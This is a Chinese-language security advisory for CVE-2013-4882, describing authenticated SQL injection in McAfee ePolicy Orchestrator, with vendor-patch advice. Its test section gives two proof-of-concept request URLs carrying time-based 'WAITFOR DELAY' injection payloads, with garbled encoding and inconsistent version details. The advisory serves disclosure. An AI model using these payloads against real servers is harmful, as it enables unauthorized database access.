发布日期：2013-07-12
更新日期：2013-07-25

受影响系统：

McAfee ePolicy Orchestrator 4.5

描述：

---

BUGTRAQ  ID: 61421
CVE(CAN) ID: CVE-2013-4882

McAfee ePolicy Orchestrator（ePO）是一种业界领先的系统安全管理解决方案，能够帮助企业有效抵御各种恶意威胁和攻击。

McAfee ePolicy Orchestrator 4.6.6、McAfee Agent (MA) 4.5/4.6的ePolicy Orchestrator (ePO)扩展存在多个SQL注入漏洞，允许经过身份验证的远程用户通过core/showRegisteredTypeDetails.do、EPOAGENTMETA/DisplayMSAPropsDetail.do的uid参数，利用此漏洞执行任意SQL命令。

<*来源：Nuri Fattah
  
  链接：http://www.securityfocus.com/archive/1/527228
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/core/showRegisteredTypeDetails.do?registeredTypeID=epo.rt.computer&amp;amp;amp;uid=

6waitf or%20delay&amp;amp;#039;0%3a0%3a20&amp;amp;#039;--

&amp;amp;amp;index=0&amp;amp;amp;datasourceID=&amp;amp;amp;orion.user.security.token=2LoWTAOfWJ4ZCjxY&amp;amp;a

mp;ajax Mode=standard HTTP/1.1

http://www.example.com/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer

&amp;amp;amp;uid=1;%20WAITFOR%20DELAY%20&amp;amp;#039;0:0:0&amp;amp;#039;;--

&amp;amp;amp;datasourceID=ListDataSource.orion.dashboard.chart.datasource.core.query Factory

%3Aquery.2&amp;amp;amp;index=0 HTTP/1.1

建议：

---

厂商补丁：

McAfee
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.mcafee.com/

浏览次数：3774
严重程度：0（网友投票）